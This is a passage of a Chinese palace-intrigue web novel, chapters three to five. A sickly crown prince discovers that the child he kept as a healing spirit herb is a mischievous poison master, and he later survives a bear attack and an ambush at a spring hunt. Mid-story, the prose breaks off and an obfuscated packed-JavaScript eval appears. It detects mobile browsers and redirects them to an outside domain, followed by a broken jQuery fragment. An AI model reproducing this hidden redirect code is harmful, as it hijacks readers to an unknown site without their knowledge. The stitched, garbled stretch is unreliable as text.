第三章什么是死
不想这灵草,竟有这般忠心,他轻声道:“此事与你无关,退下吧。”
小神仙扭头望向他,满眼疑惑的想要扶他起身。突然又松了手,好似看见了什么稀罕物。只见她径直跑到二哥面前,仰头望着二哥道:“你的毒也太凶狠了,姨姨咳的可难受了,爹爹说了,比试都该点到为止!”
众人闻声望去,二哥毒蛇般的眼神锐利的盯着她,口中却柔声道:“好孩子,你虽忠心护主,也不可诬告,若我当真同你计较,你小小年纪,又如何受得住这责罚!”
“太医,验!”父皇冷冷的说道。
二哥闻言一愣,跪地道:“儿臣自小养在母妃膝下,母妃待儿臣比皇兄皇姐更为精心,儿臣早已将母妃视作亲母!不想今日却无端受此指控,稚子虽年幼,可儿子一片赤诚也断不可受她污蔑,稍后真相大白,还请父皇给儿臣一个公道!”
太医细细查看,小神仙愣住了,指着他的手指道:“不是在这儿吗?还验什么?”
太医银针刺入,鲜血缓缓滴入杯中”
太医忙跪地道:“臣惶恐,二殿下血中却有一丝幽蓝色,的确是无常帖,但……痕迹很轻。”
二哥惨然道:“父皇!母妃今晨吐血,是儿臣亲手捧住了毒血,才没让血污了母妃贵体,想必便是那时毒侵入体。没成想,如今手上污痕竟成了这妖童污蔑儿臣的刀!天理昭昭,儿臣一片孝心,怎容得她这般侮辱!”
萧南风闻言,忙膝行上前将小神仙拉到身边跪下:“父皇,还请明查,究竟是毒血侵入血脉,还是说亲手下毒沾染入体!儿臣请取娘娘体内毒血,儿臣愿亲自以身试毒!”
父皇闻言道:“太子回宫吧,毒药的颜色,几时肯说,几时再来见朕。至于这女婢,拖下去,即刻打死!”
萧南风心底一阵凄凉,有疑为何不究!就因为二哥母族是严氏大族,就因为二哥与端妃儿女手足情深,父皇就能偏心至此吗!急怒让他猛的呕出一口鲜血来,小神仙忙熟练的掐住他的虎口,萧南风这才感觉心疾稍缓,怎奈身旁内侍早已上前要抓走她,父皇母后高坐,皆是一脸冷漠。
萧南风执拗的将这小人儿护在怀中,国士报之,国士待之,父皇色令智昏多年,今日他定不许自己的小忠仆冤死,只为父皇博端妃一笑!
正撕扯挣扎时,庭中传来明悟的声音:“奴才明悟,有重要物证进献!”
萧南风猛的回头,那浓眉少年跪在雨中,挺直的脊梁,如天柱一般。
当素锦掀开,一具具尸首露出时,二哥面容闪过一丝恐慌。
明悟说道:“启禀陛下,奴才在二皇子院中,寻到了四十一只老鼠尸骸,每具尸骸骨色皆黑,乃是中毒而亡,且骨色深浅不一,应是有人试毒所用!”
二哥惊慌跪地道:“父皇,此事儿臣不知!定是有人栽赃陷害!”
母后缓缓开口道:“陛下,此事疑点颇多,若草草了结,难以服众,两位皇儿身系靳氏、严氏大族清誉,还请陛下招神捕司查明真相。”
父皇闻言望向母后,眼中的恼意似是要把母后吞没,母后却波澜不惊,丝毫不惧。
萧南风担忧的望着母后,却听见萧楚瑶落井下石的声音——
“父皇!”萧楚瑶笑意吟吟地从内室出来。
她走至殿中,一改往日玩笑,稳重行礼:“父皇,母妃说了,此番遭难多亏灵童相救,求父皇礼重灵童,为母妃积福。至于今日之事环环相扣,庸医误诊,巫医惑人,女婢叛主,幕后黑手别有用心之人离间骨肉!母妃已派人前往捉拿,还请父皇切莫错怪太子和二殿下。”
萧南风一愣,端妃居然肯息事宁人,这般顾全大局,竟不打算趁机了结了他和二哥?来不及多想,萧楚瑶已继续说道。
“绾儿过来……”
女童闻言从萧南风怀里离开,朝萧楚瑶走去。
萧楚瑶搂着女童道:“灵童婉儿于母妃有恩,父皇要如何赏赐?。”
“你叫绾儿,哪个绾?”父皇皱眉说道。
“绾绾!柳枝挑亮小花灯,踮脚绾住落流星。”女童拍手念起了童谣,丝毫没有死里逃生该有的矜持。
父皇一怔,说道:“这名字不祥,让你母妃给她换一个,好生教养不得生事。护卫明悟御前失仪,打七十大板。其余涉事的贼人一并带下去,炙刃你亲自料理!众人都退了吧,让端妃好生休息。”
他扭头看了眼小神仙,父皇的意思是想让她养在芷栖殿,可是他的心疾……
萧南风无奈起身,拱手便要退下。
“等我呀!”女童的小短腿忙不迭的朝他跑了过来,小小的身躯像锦被般轻轻地拢在他腿上。
他低头看向这孩子,眼中满是不舍。
“绾儿,跟着姐姐,姐姐每日哄你玩耍好不好?萧南风可不是好人,你跟着他,可是要吃苦头的。”萧楚瑶自小说话便这般造次,奈何父皇娇纵,无人敢说她半句。
“姐姐再见,绾儿跟着他有正事要做呢!”女童依旧满眼认真。
萧楚瑶噗嗤一笑:“好,本公主会经常过去找你的。”
而后转向他,拉着脸说道:“萧南风!不准为难她!”
萧南风牵起女童起身离开,母后却傲立未动,萧楚溪和萧楚瑶已去了内室,萧南齐也默默离开不敢再生事。
偌大的宫殿,只剩父皇母后二人,不知母后会与父皇说些什么。
走在空无一人的宫道上,他没有丝毫劫后余生的欣喜,好在,好在明悟保住了性命。
身旁的小神仙却突然轻声唱了起来:天微微,夜垂垂,星儿落了,淬火堆。
他将这团孩子抱得更紧,只有这半星暖意,才让他感觉到,自己还活着。
她嫩芽般的手碰了碰他冰冷的脸颊:“别怕,我护着你。”
这童音,让他心底更起几分不忍,虽说是颗灵草,但她跟稚子有何不同。这几日,自己几乎疯魔的寻求着让她化草之法,只为让这病躯过那春猎大关!如今,自己被父皇禁足,春猎自是无缘,储位也岌岌可危,这灵草方才那般维护自己,是否不该……
冷风夹着凄雨,凌厉的砸在脸上,他将小神仙放到地上,在心底暗暗说道:“不必多虑,这本就是……神灵赐下的,渡我的桥!”
女童一回殿就睡了,明悟被人抬了回来,众人退尽后,明悟忙道:“主子,我没事!今日是我莽撞了!听到红儿传信,说主子被指认毒杀端妃,急得我三魂不见七魄!唉,白白浪费了扳倒他的好时机!”
萧南风不言,起身离开,浪费?想必不尽然。
“孤与嬷嬷叙话,尔等退下。”萧南风对外吩咐道。
白发苍苍的老妪颤巍巍起身,萧南风忙抬手欲扶,嬷嬷依旧行礼,丝毫不乱。
“敢问嬷嬷,可有宫廷秘闻事涉无常帖?”萧南风问道。
嬷嬷惊得一颤,凝眉不语。
“嬷嬷,孤今日险些因此丢了性命,还请嬷嬷明言,好让孤早做打算。”萧南风望着她继续问道。
“回殿下,十五年前,伏悠国十皇子,也就是如今伏悠国国君一母同胞的幼弟,十皇子出使大盛,本已商议好了两国止战,百姓安宁。怎奈十皇子在席间被人下了无常帖,因着毒中掺了解药,故而十皇子出都城八百里后,才毒发身亡!”
“后来呢!”萧南风忙问道。
“伏悠国大怒,大军犯境,端妃娘娘父兄皆战死,靳氏临危受命,力挽狂澜!此一战,端妃从将门虎女变为忠烈遗孤,而咱们娘娘因着靳氏荣耀,登上凤位。”
“难道那场大战就没有其他得益之人?”萧南风拧眉问道。
“还有文家、严家,只是都比不上靳氏一族的战功。”嬷嬷答道。
嬷嬷见他不言,继续说道:“陛下与端妃自幼一起长大,感情深厚。”
萧南风沉默半晌,而后问道:“父皇今日说绾字不吉,嬷嬷可知有何缘由?”
“奴婢不知,但是陛下既言不吉,必有深意。”嬷嬷答道。
萧南风默默离开,不再说话,连侍奉祖母的老嬷嬷都不知晓,不知这字有何玄机,又或者只是父皇对自己的又一次打压?
又是一晚,灵草依旧没有丝毫化形的迹象。
清晨,红玉提来一个笼子,跪地道:“回主子,一只是饿了许久,一只被刺伤流血,还有一只服了剧毒,皆是濒死。”
红玉说完退下,萧南风打开笼子,将笼中白鼠,逐个放到女童手中,女童睡得极沉,毫无察觉。
前两只白鼠躺在女童手中奄奄一息,第三只,接触到女童的瞬间,四肢一颤!萧南风闭气凝神,就见白鼠奋力一翻,竟一跃而起!
萧南风忙抓走白鼠放回笼中。
直至日上三竿,萧南风望着笼中进食自如的白鼠,暗暗攥紧了拳头!
所以灵草只有解毒之效,所以自己这病……
难怪自己从立储之日便突然患上这心疾,原以为是天罚,却不想是人祸!
只是,到底是谁下的毒,日日折磨却并不毒发身亡?幕后黑手究竟意欲何为?
“咳咳……”女童娇弱的咳嗽声传来,他忙盖上笼子,走到床前。
第四章影榕山最厉害的毒王
“小神仙醒了,早膳想用些什么?”萧南风问道。
“咳咳,小孩儿,这个好冰,快拿走。”女童边说边拿出颈上挂着的玉珏。
这浸过天山雪水的玉珏终于起效用了吗,萧南风震惊的望着女童手中的玉珏。
“咳咳……”女童又咳了两声。
萧南风有些许不忍,只得在心底默念,这是解毒的灵草,不是稚童。
他轻声问道:“小神仙,当真愿意救治弟子?”
“爹爹让我救,我便救。”她抬手拿起床边的画轴说道。
画轴是他回宫那日画下的青衣仙人的画像,女童见到后就抱着不放,夜夜搂着画轴入眠。
“多谢小神仙。这玉珏能助弟子病愈,还请小神仙时刻戴着,不要摘下。”萧南风望着她,恳求道。
“咳咳……好吧,只是我并没看出有药效!”女童望着玉珏满眼的疑惑。
午膳刚过,萧楚瑶就派人送了许多小玩意。送礼过来的宫人,对着小神仙好一番关怀,萧南暗暗皱起了眉,玉珏已然起效,若是她突然化形,到时跟萧楚瑶又是好一番麻烦。只是,解毒要紧,他也顾不上其他了。
就这般又过了几日,女童咳嗽加重,整日懒洋洋躺在床上,萧南风每日下学回来就守在女童床边,灵草依旧没有化形的迹象。
清晨,女童昏睡中,红玉跪地道:“主子,这阵子属下等日夜紧盯,这是可疑之人名册。”
“证据确凿的,暗中处置了,含糊不清的,寻个错处赶出宫去。”萧南风冷冷说道。
“母后宫中的眼线留用。”他思忖了片刻说道——母后派来的人,定不会背主下毒!
红玉又说道:“主子,严贵人封嫔,陛下还将二皇子送去她膝下抚养,今日早朝,又对严将军百般关怀,陛下此举……”
萧南风不答。
这些年,父皇对靳氏的打压和猜忌从未停过,如今对严氏的态度,必有深意。
“爹爹!别走!”女童梦中突然哭喊起来。
萧南风忙抬手让红玉退下,轻轻拍着女童安抚。
就在这时,梦中哭喊的女童小手胡乱一扰,正好打翻了萧南风放在榻边矮几上的一杯清茶。茶水“哗啦”浇灭了旁边刚点燃不久、给房间熏香的一小截线香。
青烟瞬间暴散开来,那香中混着乌桕泪——书上说的能让灵草化形的药。
萧南风看着熄灭的香头,再看看睡得香甜的小脸,眼神幽暗。
巧合?还是……她不愿化草,为自己入药?
女童哭声越来越大,萧南风忙搂起她,喊道:“小神仙,醒醒。”
女童猛的睁开眼睛,紧紧抱住萧南风大哭起来。
萧南风轻轻拍着她,说道:“没事了,只是梦。”
小神仙哭声渐熄,仰头望着他,小心的问道:“什么是打死?”
晨光下,女童羊脂玉般的脸被泪珠沁得发亮,平日里不可一世的小霸王,此刻眼神竟似幼时养着的那只白兔般可怜。
萧南风一怔,柔声道:“别怕,没事了。”
突然她眼中闪过一丝金芒,萧南风欣喜又不忍,今日,便是灵草的化形之日了吗?
就听小神仙声音带着鼻音说道:“爹爹说,十日后就来接我,若是他没来,那他和娘亲就是死了,让我一个人乖乖听话。可是我一个人,听谁的话?”
萧南风心头剧震:“爹爹?娘亲?死了!”
女童却拿起画轴,紧紧抱在怀中。
死了?仙人怎会死!那画像明明是青衣仙人,就是他一句谶语,自己才寻到了……寻到了一个能止心痛的灵草!
不!不可能!明明是灵草,明明是仙人!
他望着女童,焦急的说道:“弟子带你出宫寻爹爹,你家在哪儿!你爹爹叫什么!”
女童仰头欣喜的望向他:“我爹爹叫大神仙,我叫小神仙,我娘亲叫沅娘。我家在山上,有阿花在的就是我家。”
“你……不是灵草?”萧南风心有不甘的问道。
“什么灵草?我是影榕山最厉害的毒王!他们都叫我……”
“住口!好大的狗胆,你们竟敢骗孤!”萧南风愤怒的打断道。
女童一怔纳闷的望着他。
”你究竟是谁派来的细作?”
“什么是细作?”
他握着女童的胳膊,手不自觉的收紧,女童微微拧着眉,却忍着痛,轻轻拍着他的头,好似在安慰他。
萧南风怒道:“放肆!”
女童吓了一激灵,继而板起脸如夫子训徒:“我忍你很久了,再这般没规矩,定让你长记性!”
萧南风一愣,正要再说,只见女童一挥袖子,他就像被铁网缚住了一般,全身痉挛着砸到地上,女童一脚踩在他肩头说道:“知错就举手,爹爹说了投降输一半。”
萧南风抖的牙齿咯吱作响,心底暗骂:“这哪是灵草,分明是捡回来个魔王!”
“还不认输!那我走了,不管你了!”
萧南风慌张的举起右手,却见小矮子已经蹦跳着跑出门去,他在心里不住怒喊:“回来!给孤回来!”奈何嘴上却一声都吭不出来。
不知过了多久,他再次起身时,双腿已然打颤,他佝偻着摇到桌边,勉强将自己瘫到桌上,就听见红玉欣喜的声音:“找到了,主子在这儿!”
他依旧直不起身,只得勉强扭过头,看着跪了一地的宫婢,淡淡说道:“无事,孤在此处俯察苍生,你们不得打扰。”
红玉忙上前道:“回殿下,小神仙此刻已用完晚膳,在院中玩耍。只是这玉珏……”
萧南风望着红玉手上捧着的碎成几瓣的验灵器,紧紧握住拳头道:“红玉!带她去沐浴,仔仔细细,一根头发丝都不准放过,所有衣物配饰都换成新的,一件旧物都不许留!洗三遍!指甲缝都洗干净!”
红玉忙领命:“是,属下一定侍奉好小神仙!”
红玉退去,萧南风掏出怀中暗哨,暗影落下,萧南风冷冷道:“当初灵童现世当真没查出蛛丝马迹?二哥那边可有细细排查,青衣人的下落定要快些查清!。”
女童洗漱完,萧南风也已经行走自如,他唤来女童,握住剑远远的望着她:“小骗子,老实交代,是谁派你来的,孤的毒该如何解!”
女童冷哼道:“你说谁是小骗子!再胡说,毒哑了你!”
闻言,萧南风有一丝后怕,又不信浴桶里泡了一炷香小骗子身上还能藏着毒,于是凶狠道:“老实交代,孤饶你不死。”
女童一愣,痴痴的问道:“什么叫死?”
萧南风皱眉,看她表情竟似真的不懂,便顺势问道:“你爹娘走之前可说了要去哪儿?”
女童抬眸望向他:“爹爹说去寻娘亲,让我等他十日,他们就来带我回家。”
“你娘亲去了哪儿?”
她摇了摇头:“不知道,爹爹说我如今长大了,他终于能去寻娘亲了,让我一个人听话。”
萧南风暗想:这话怎么听怎么像遗言,那青衣人不会是骗自己替他养女儿吧!
“什么叫死?”女童又问道。
萧南风张口欲说,看着她那傻脸,却实在说不出口。只得转过身去,女童又凑上去仰着头看他,他再转女童再跟,萧南风没有法子,只得冷着脸斥道:“小骗子,孤凭什么告诉你!赶紧解了孤的毒,否则让你日日吃不上牛乳羹!”
女童猛的眯起眼,萧南风一惊,忙跳开半步,却察觉身体并无异样,正要得意却见女童一脸的坏相,忙要开口问,这才发现嘴唇已经不得动弹,他忙抬手去碰,女童已经抱着肚子笑的滚到地上。
“殿下!你的脸怎么了!”红玉闻声进来,一见他的脸顿时一阵惊呼。
女童止了笑,凑上去说:“姐姐,婉婉帮你救哥哥好不好?”
红玉一愣忙说:“小神仙,您能治好殿下?”
“嗯!”女童甜甜的答道,然后欢喜的朝萧南风走去,萧南风连忙往后退,她见状,只得用力一蹦,然后一巴掌拍到萧南风嘴上。
红玉又是一声惊呼,忙上前查看,只听她说道:“好了,小神仙真厉害!”
女童忙笑着扑到她怀里:“姐姐,婉婉最会救人了。”
红玉忙抱起她,却暗自看向萧南风,谨慎的等待着他的吩咐。
女童缠着红玉撒娇的模样,装的那般人畜无害,看着更是让人气不打一处来。
“红玉!守在外面不要离开。”他强忍着怒意说道。
红玉忙放下女童,女童刚一落地,就猛的扭头,拉下脸冷冷的瞪着他。
变脸如此之快,惊得萧南风默默往墙角靠了一下。
“你要抢我牛乳羹?”女童的娇喝中带着满满的杀意。
萧南风本着知己知彼的策略,谦逊的打探道:“你方才给孤下的毒藏在哪儿?”
女童不耐烦道:“你还要跟我比吗?你还是先去找别人比吧,换赢你的那个人来!他这毒有趣,我解不开。”
萧南风闻言一惊:“解不开!你说贼人下的毒你解不开!那你打算如何救孤!”
女童嗤笑道:“为何要救?爹爹说了,救人有趣,不救也有趣,想怎么玩便怎么玩!”
有趣……五年的日夜悬心!蚀骨痛意!孤苦无依!在她口中,不过是有趣!
滔天的怒意似要将他燃尽,双手不知何时已握住了女童脖颈,女童仰头诧异的望向他,只需猛一用力,这个该死的骗子,这个恶毒的小怪物,就能……就能……
胸口突然传来一阵刺痛,他忙攥紧心口,却见女童歪头看着他说道:“冷汗在后颈,刺痛在心,脉息无异,身上散着清香,这么好的毒!爹爹肯定都没吃过!”
萧南风望着她眼中的赞叹,气的喉头泛起一阵血腥,他强忍着痛,拼死朝女童伸出手去,掐死她,定要掐死这个天魔星!
“好吧,你既然求饶了,那小神仙便救你一次。”女童的小奶音清凌凌的响起。
两只小手搭住了萧南风的胳膊,剧痛瞬间消散!
萧南风缓缓的坐到地上,将她揽到身边,感受着心跳渐渐平稳,萧南风望着她搭在自己胳膊上的小手恨恨的问道:“小怪物,你的爪子砍下来,还有这药效吗?”
啪!女童一掌拍在他额头上,不用问,萧南风知道自己脸又肿了!
他一气之下,拼死攥住女童两只胳膊,女童咿咿呀呀的挣扎,却挣脱不开,半晌突然听到一声带着哭腔的奶音:“小哥哥,弄疼婉婉了。”
他一惊,就见女童撇着嘴,眼中储满了泪,欺负一个小自己五岁的奶娃娃,他顿时觉得面上无光,忙松开了手。
“哈哈!傻子!还不跪下磕头!”女童一跳欣喜的笑道。
萧南风望着她桃儿般的脸颊上挂着的泪珠,声音却满是嚣张,心底暗骂:再心软,孤就是相国寺的青铜钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789076|174925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
他全身刺痛冷汗直流,瘫倒在地,紧紧的蜷缩成一团。
女童蹲下说道:“这叫听话散,无药可解,以后只要你敢弄疼我,就会像这样痛啦!剧痛哟~”
“你……你……信不信,孤杀……”
话还没结巴完,女童已经蹦跳着出门:“姐姐,小哥哥让你带绾绾去摘花花!”
第五章侍奉殿下的吃喝拉撒
两日被毒翻四次,萧南风此生第一次身心俱乖,比母后怀中的猫儿都听话!他日日勤勉,天还未亮就去了上书房,下学后更是追着太傅求学,今日去芷栖殿看望长姐,明日去严嫔处看二哥小人得志。
总之,他,丝毫不在东宫多待!
这般忙碌终是安宁了几日,怎奈心口也剧痛了几日。
他咬紧牙关,不去求她,坚决不去!疼死也比被她毒死强!。
可是他却总不死心,总是舍不得这最后一丝生机,于是牛乳羹一碗一碗喂着,小怪物却始终半点都未效力,萧南风越想越觉得憋闷。
这日回宫,路过偏殿,却听到红玉的声音:“绾绾要听话!再说一遍哦,首先不能用毒,否则没人敢跟你玩。然后,太子殿下最为仁德、厉害,东宫众人都要尽心侍奉殿下的吃喝拉撒,誓死效忠!”
女童乖乖的听着,一边点头一边大口吃着牛乳羹。
萧南风大着胆子走进了殿,红玉忙退了出去,他试探道:“绾……绾”
“叫我小神仙!”小怪物一声厉喝,惊得萧南风往墙边靠了一步。
他依旧不死心的问道:“小神仙,你以后都不用毒?以后都听孤的话?”
女童嗤笑道:“第一,我的吃喝拉撒要侍奉好!第二,红玉姐姐陪我玩。第三,其他人都得跟我说话!”
萧南风强撑着身体,才没有拱手作揖,他咽了口唾沫道:“可以,但是你要治好孤的毒。立刻马上!”
女童认真的说道:“能解但治不好。”
萧南风今后:“为什么治不好!”
女童答:“不能说。”
“不说,孤断了你的牛乳羹!”萧南风威胁道。
女童抬眸冷冷的望向他,萧南风忙说道:“你若敢用毒,众人就都知道你是怪物!以后都没人陪你玩!”
女童皱眉道:“那也治不好啊,爹爹没教我。”
萧南风顿时慌了,心痛适时的撕扯。
女童已经默默的走过来掐他虎口。
午膳时,恰逢母后宫中送来了骑射师傅。
萧南风谢了恩,脸上毫无悲喜。母后对这储位这般用心,怎奈灵草之事成了荒唐的骗局,自己这心疾日益加重,不知春猎那日,自己若是如坠石般,跌下马来从此长睡不起,母后不知会作何反应?而到那时,父皇可会信了自己的清白!
“快些吃饭。”
软糯的声音惊的他一怔,女童已经凑到面前,他挥手拂开她,拿起了筷子。
眼角余光看着嬷嬷将她带了出去,低声训斥道:“快说,殿下恕罪,奴婢该死。”
女童皱眉嘴角微颤,眼看着就要抬起手来。
“所有人退下!”萧南风一声惊呼。
待众人退净,萧南风戒备的问道:“你不是说你不用毒吗!”
女童生气的叉腰道:“爹爹说了,我若敢让人欺负,他定不饶我!”
萧南风闻言有些生气,小怪物,谁能欺负得了你!
一想到若是用毒被发现,岂不坐实了灵童变妖童,二哥定要大肆宣扬自己昏聩怪力乱神!
想了想只得说道:“在这儿,从来没人用毒,你若被人发现用毒,大家会以为你是怪物,红玉不敢跟你玩,嬷嬷不敢给你吃牛乳羹,大家看到你都远远的躲开!”
女童闻言忙点头:“好,不被人发现!”
“是不能用毒!”萧南风痛心喊道。
他缓缓坐下,举起筷子,炙肉入口,味同嚼蜡。
半月苦练,清晨的练武场,风中都带着几分肃杀。他已经能在心痛噬骨时一箭洞穿飞鸽,只是若纵马弯弓,想要射中还是有些勉强。
他翻身下马,女童早已蹦跳着递来了汗巾,他忙躬身接过,红玉这带孩子的手法,真让他夸也不是,骂也不是。
他抬手将汗巾恭敬送回女童手上,继续翻身上马。此次春猎,定要妥善过关,不给父皇拔掉眼中钉的机会,至于这小怪物……
唉!扔了舍不得并且还顶着灵童的名号,留下又扎手还总能惹祸!
一连半月,骑射训练的勉强过关,小怪物驯服的也勉强像个忠仆,只是,小怪物总能在他忘记害怕时,轻飘飘说几句怪话,好似地狱修罗的呢喃!
春猎这日,端妃没来,父皇失落的像个怀春的少年。三哥四哥向来藏锋敛锐,一开始就故意落下半程,晃悠悠四处看景。他与剩下两位兄长行至一片树林,二皇子突然勒紧了缰绳,张弓搭箭拉开了,却只半开着弓,然后笑道:“我今日倒想看看,到底是灵童还是悬命之丝。”
萧南风大惊,忙顺着他箭指的方向望去,树上的果然是那女童。二哥此言何意,他是如何知道!
萧南风强忍着震惊,告诫自己莫慌,定不能露出马脚!
若当真射杀了那孩子,二哥岂不是杀人灭口,坐实了罪证?这等蠢事,怕是山河倒悬,二哥也不舍行差踏错!
却不想身侧又听到拉弓的声音,他扭头看去,萧楚溪早已拉满了弓,只是箭头却对着的是身旁的二哥!
萧楚溪声如寒冰:“萧南齐,我今日也想看看是不是能自断一臂。”
手足兄弟这词被他这般用来,也是悲凉。萧南风淡淡的望着他,自己这兄长从来藏不住心思,刚硬浅薄的性情,不愧是被父皇从小宠到大的,端妃娘娘的一双儿女皆是这般性情,赤忱滚烫的让人生厌!
二哥萧南齐早已收了弓,望着萧楚溪箭尖怒道:“大哥,你当真为了个贱婢竟要杀我!”
萧楚溪箭尖下移三寸,直指二皇子咽喉:"萧南齐!当年你拿宫女练箭,已是残忍!"弓弦震响,血珠顺着二皇子颈侧滑落,"今日这箭,便是教你仁义当先!"
说罢他一夹马肚子,朝前走去,萧南齐在马上气的发抖,萧南风见状缓缓跟上了萧楚溪,果然,萧楚溪来到了那棵树下,他轻声喊道:“小灵童,下来!”
女童闻言表情明显不愿,却还是乖乖爬下树来。
萧楚溪朝她招手:“过来,我带你回营地。”
女童看了看四周,萧南风叹了口气,果然她笑着朝自己扑了过来。马的鼻息喷的她一抖,她咯咯笑着去搂马脖子。
看着这个把自己骗得团团转的矮墩墩,萧南风就止不住的气恼,萧南风冷着脸并不理她。身旁的萧楚溪,已经又张开了弓箭,箭簇鸣响,一个松果应声落了下来,萧楚溪抬手接住,驾马朝他们走来,然后俯身将松果递到了女童面前。
女童接的飞快,跳起来喊道:“大哥哥,好厉害。“
对着自己穷凶极恶,对着外人就人畜无害!天生狡猾的小怪物!
萧楚溪望着女童满是笑意,扭头看向自己,说教和严峻瞬间爬上了眉头:“你既带了她来,就要把人护住了,生死攸关之事岂可儿戏?一国储君连个孩子都护不住,算什么英雄!”
他义正辞严道:“君子当泰山崩于前而面不改色,二哥自小爱玩笑,却从不会伤人,我信二哥又岂非今日。皇兄实在不该为一个玩笑这般伤害二哥!”他将仁义和亲缘摆满脸上,正适合来骗眼前这傻子。
萧楚溪叹道:“你顾念手足的确不错,只是若真有半点闪失,你此生良心何安!”
萧楚溪驾马而去,萧南风挑眉,顾念手足?芷栖殿诬陷如鲠在喉,如今又跟自己装什么兄友弟恭!
他扯着缰绳去了女童的另一侧,马屁股轻轻一推,她便跌坐在地上,胖乎乎的小脸跌的一颤。萧南风一挑眉,远远的离了她去,离开前望着二哥离开的方向,满眼晦暗。
萧南风留意着林间的响动,以往狩猎皆是大哥拔得头筹,今日他势要让那人看看,文韬武略他无一可与自己相较。暖窝子里长出来的肺腑,凭什么跟自己日夜煎熬淬炼出的肝胆相提并论。
“主子,娘娘传话来,二皇子随行有个生脸男子,看模样竟是神医谷的打扮,听安排是冲着灵童大人来的!娘娘命你即刻解决掉灵童大人!”
萧南风闻言大惊,正要说话,阴风夹杂着熊粪的腐臭迎面扑来。
“小心!”女童不知何时突然窜了出来。
碗口粗的桦树轰然断裂,萧南风早已滚鞍下马,将——五年了,这灰熊肩头的箭疤仍狰狞外翻,溃烂处黏着几片暗黄帛布,分明是御用箭矢的缠柄残料。
“响箭。”十几名暗卫齐刷刷将他护住,他顺手将女童推到树后,劈手夺过暗卫的箭囊。灰熊立起时的阴影笼住他半身,喉间呼出的腥气喷湿他前襟。
第一箭钉入左肩旧伤,熊爪捂耳早被他算准。
第二箭贯穿右眼,趁熊掌遮挡面门,他翻身贴上熊腹,匕首狠狠剜进腋下软肉——五年前替父皇剥熊皮时,他便记牢了:此处无骨,直通心脉。
热血压着心跳泼溅而出,他抹开糊住眼的血污,瞥见熊尸轰然倒地,压折灌木。
“皮子送坤宁宫。”他勾唇浅笑将匕首甩给身旁暗卫,“告诉母后,儿臣割的刀口,比父皇当年整齐些。”
为首暗卫拖着熊尸走远了,血腥气缓缓散去,女童忙凑了过来,双手牵着他的手不放,萧南风放任她此刻的讨好。
他仰头深吸一口气,林间满是松针与青苔的涩味,潺潺的溪流水声清越,正自怡然,耳旁却传来一阵风声,竟是一只暗箭!他侧身躲开,却一脚踩了空,骤然惊惧,坠落时他看见红玉带着暗卫们已提刀跃向了箭射来的方向。
失重感却带着异常的平静,感受着心跳缓缓停歇,他笑着阖上了眼,最后想到的,竟然是五岁立储前夜,母后将他拥入怀中,她说:“好孩子,你父皇和舅父都很欢喜!”那时母后怀里的气息,好似幽兰盛开在阳光下。